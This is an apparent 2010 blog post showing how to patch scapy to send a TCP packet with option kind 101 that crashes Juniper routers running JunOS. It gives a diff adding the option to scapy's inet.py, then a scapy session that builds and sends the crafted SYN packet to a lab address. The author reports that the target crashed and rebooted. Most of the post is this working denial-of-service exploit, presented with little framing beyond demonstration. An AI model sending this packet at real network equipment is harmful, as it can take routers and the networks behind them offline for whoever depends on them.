Image of Cortney & Jeremy

Use scapy to send JunOS killin’ packet

by Jeremy L. Gaddis on January 10, 2010 · 9 comments

in Security


Photo from gr33ndata.

I just quickly hacked up scapy so that it would support sending TCP packets with option kind 0x65 (decimal 101). A diff is below (basically, just need to add two lines).

For reference, I’m on a FreeBSD 8.0 box running scapy 2.1.0 (from ports). inet.py is located in /usr/local/lib/python2.6/site-packages/scapy/layers.

$ diff inet.py inet.py.bak
203,204c203
<                 15 : ("AltChkSumOpt",None),
<                 101 : ("JunOS",None)
---
>                 15 : ("AltChkSumOpt",None)
215d213
<                 "JunOS":101
$

Once we’ve done that, we can then use scapy to launch a JunOS killin’ packet for us!

$ sudo scapy
Welcome to Scapy (2.1.0)
>>> p=IP(dst='192.168.1.61')/TCP(dport=23,flags='S',options=[('JunOS', '')])
>>> send(p)
.
Sent 1 packets.
>>>

The box, of course, crashed and rebooted immediately.

{ 9 comments… read them below or add one }

Leave a Comment

Previous post:

Next post: